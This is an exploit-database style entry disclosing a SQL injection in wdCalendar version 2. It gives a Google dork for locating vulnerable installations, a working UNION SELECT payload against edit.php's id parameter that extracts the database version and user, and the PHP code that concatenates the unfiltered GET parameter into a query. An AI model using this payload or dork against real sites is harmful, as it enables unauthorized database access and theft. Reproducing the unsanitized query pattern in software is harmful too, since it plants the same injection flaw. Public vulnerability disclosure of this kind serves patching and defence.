wdCalendar 2 SQL Injection

`# Exploit Title: wdcalendar version 2 sql injection vulnerability  
# Google Dork: allinurl:"wdcalendar/edit.php"  
# Date: 12/09/2016  
# Exploit Author: Alfonso Castillo Angel  
# Software Link: https://github.com/ronisaha/wdCalendar  
# Version: Version 2  
# Tested on: Windows 7 ultimate  
# Category: webapps  
  
* Affected file -> edit.php and edit.db.php  
* Exploit ->  
http://localhost/wdcalendar/edit.php?id=-1+union+select+1,version(),user(),4,5,6,7,8,9--  
  
  
* Vulnerable code:  
  
function getCalendarByRange($id){  
try{  
$db = new DBConnection();  
$db->getConnection();  
$sql = "select * from `jqcalendar` where `id` = " . $id; //the  
variable is not filtered properly  
$handle = mysql_query($sql);  
//echo $sql;  
$row = mysql_fetch_object($handle);  
}catch(Exception $e){  
}  
return $row;  
}  
if($_GET["id"]){  
$event = getCalendarByRange($_GET["id"]); //the variable is not filtered  
properly  
  
`